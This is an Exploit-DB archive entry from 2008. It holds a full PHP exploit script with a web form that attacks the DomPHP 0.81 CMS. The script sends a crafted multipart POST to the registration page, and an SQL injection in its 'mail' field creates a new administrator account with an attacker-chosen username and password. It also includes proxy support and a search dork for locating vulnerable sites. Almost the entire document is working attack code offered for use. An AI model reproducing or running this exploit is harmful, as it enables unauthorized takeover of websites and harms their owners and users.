DomPHP 0.81 - Remote Add Administrator

EDB-ID:

4880


Author:

j0j0

Type:

webapps


Platform:

PHP

Date:

2008-01-10


<?php
/*
 *    DomPHP <= 0.81 Remote Add Administrator Exploit
 *    c0ded by j0j0
 *    dork: "Site créé à l'aide du CMS DomPHP"
 *
 *    Exploit work with CURL
*/

error_reporting(0);
ini_set('max_execution_time', 0);
ini_set('default_socket_timeout', 5);
ob_implicit_flush(true);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
    }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}


class exploit {
    function connect($host,$port=80) {
        echo '[*] Trying to connect to '.$host.':'.$port.'... ';
        $fp = @fsockopen($host, $port, $errno, $errstr, 4);
        switch($fp) {
            case true: echo 'OK'; break;
            case false: echo 'ERROR'; break;
        }
        echo '<br />'."\n";
        return $fp;
    }
}
?>

<html>
<head>
<style type="text/css">
body {
    margin:3%;
    font-size:10px;
    color:#FFFFFF;
    font-family:Verdana,Arial;
    background-color:#1a1a1a;
    text-align: center;
}
input {
    background:#303030;
    color:#FFFFFF;
    font-family:Verdana,Arial;
    font-size:10px;
    vertical-align:middle;
    border-left:1px solid #5d5d5d;
    border-right:1px solid #121212;
    border-bottom:1px solid #121212;
    border-top:1px solid #5d5d5d;
    padding: 3px;
    margin: 2px;
}
input[type=text] {
    width: 200px;
}
textarea {
    background:#303030;
    color:#FFFFFF;
    font-family:Verdana,Arial;
    font-size:10px;
    vertical-align:middle;
    border-left:1px solid #121212;
    border-right:1px solid #5d5d5d;
    border-bottom:1px solid #5d5d5d;
    border-top:1px solid #121212;
}
table td {
    font-size: 10px;
    font-family: Verdana, Arial;
}
h3 { color: #CC0000; }
a {
    color: #999999;
    text-decoration: none;
    font-weight: bold;
}
#exploit {
    font-family: Courier New, sans-ms;
    font-size: 12px;
    color: #00FF00;
    width: 400px;
    text-align: left;
}
</style>
</head>
<body>
<h3>DomPHP <= 0.81 Remote Add Administrator Exploit<br /><br />-= c0ded by j0j0 =-</h3>
<br />
<center><table><tr><td><ul>
# Download'>http://">Download DomPHP 0.81

# Visit'>http://">Visit DomPHP Website

</ul></td></tr></table></center>
<br />
<form method="post" action="domphp.php">
<?php
$host = isset($_POST['host']) ? $_POST['host'] : 'localhost';
$proxy = isset($_POST['proxy']) ? $_POST['proxy'] : '';
$path = isset($_POST['path']) ? $_POST['path'] : '/domphp/';
$version = isset($_POST['version']) ? $_POST['version'] : '0.81';
$newAdminUsername = isset($_POST['newAdminUsername']) ? $_POST['newAdminUsername'] : 'j0j0';
$newAdminPassword = isset($_POST['newAdminPassword']) ? $_POST['newAdminPassword'] : 'h4ck3d';
?>
<center>
<table>
<tr>
    <td>Host :</td>
    <td><input name="host" type="text" value="<?php echo $host; ?>" /></td>
</tr>
<tr>
    <td>Proxy* :</td>
    <td><input name="proxy" type="text" value="<?php echo $proxy; ?>" /></td>
</tr>
<tr>
    <td>Path to DomPHP :</td>
    <td><input name="path" type="text" value="<?php echo $path; ?>" /></td>
</tr>
<tr>
    <td>DomPHP Version :</td>
    <td><input name="version" type="text" value="<?php echo $version; ?>" /></td>
</tr>
<tr>
    <td>New admin username :</td>
    <td><input name="newAdminUsername" type="text" value="<?php echo $newAdminUsername; ?>" /></td>
</tr>
<tr>
    <td>New admin password :</td>
    <td><input name="newAdminPassword" type="text" value="<?php echo $newAdminPassword; ?>" /></td>
</tr>
<tr>
    <td></td>
    <td><input name="xpl" type="submit" value="Send Exploit"></td>
</tr>
</table>
<i>* : opptional</i>
</center>
</form>

<br />
<?php
if($_POST['xpl']) {
$err=0;
foreach($_POST as $key=>$value) {
    if(empty($value) && $key != 'proxy') {
        echo $key .' is empty !<br />';
        $err++;
    }
}
if($err > 0) { die(); }
extract($_POST);

echo '<center>'."\n".'<div id="exploit">'."\n";

while(exploit::connect($host, 80) === FALSE) {
/* Try to connect to {$host} */
}

if(!empty($proxy)) {
$proxyHost = parse_url($proxy, PHP_URL_HOST);
$proxyPort = parse_url($proxy, PHP_URL_PORT);
if(empty($proxyHost) || empty($proxyPort)) {
    echo '[*] Bad proxy ! I won\'t use proxy to send exploit.<br />'."\n";
    unset($proxyHost, $proxyPort);
    $proxy = '';
}
else {
    $proxyConnect = exploit::connect($proxyHost, $proxyPort);
    if($proxyConnect === FALSE) {
        echo '[*] Bad proxy ! I won\'t use proxy to send exploit.<br />'."\n";
        unset($proxyHost, $proxyPort);
        $proxy = '';
    }
}
}

$port=80;
$proxy="";
for ($i=7; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

if($version == '0.81') { $pass1 = 1000; $pass2 = 1000; }
else {
    $pass1 = '';
    $pass2 = '';
}

$data.='-----------------------------7d6224c08dc
Content-Disposition: form-data; name="prenom"

Dom
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="nom"

PHP
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="mail"

h4ck\', loginUtilisateur=\''.urlencode($newAdminUsername).'\', passUtilisateur=PASSWORD(\''.urlencode($newAdminPassword).'\'), statutUtilisateur=\'admin\', siteUtilisateur=\'\', urlUtilisateur=\'\', descUtilisateur=\'\', metierUtilisateur=\'\', villeUtilisateur=\'\', contact=\'1\' /*
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="newlogin"

j0j0
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="pass1"

'.$pass1.'
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="pass2"

'.$pass2.'
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="ville"

DomPHP
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="metier"

hacker
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="site"

google.com
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="url"

http://www.google.com
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="id_utilisateur"


-----------------------------7d6224c08dc
Content-Disposition: form-data; name="adressemail"


-----------------------------7d6224c08dc
Content-Disposition: form-data; name="change_pass"


-----------------------------7d6224c08dc
Content-Disposition: form-data; name="B1"

Envoyer
-----------------------------7d6224c08dc
';

$packet ="POST ".$path."/welcome/inscription.php HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6224c08dc\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacket($packet);
if(strstr($html, '404 Not Found')) {
    echo '[*] 404 not found :( (certainly the path)';
}
elseif(strstr($html, 'erreur.php')) {
    echo '[*] Exploit failed :(<br />';
}
else {
    echo '[*] New admin created :)<br />';
}
}

?>
</div>
</center>
</body>
</html>

# milw0rm.com [2008-01-10]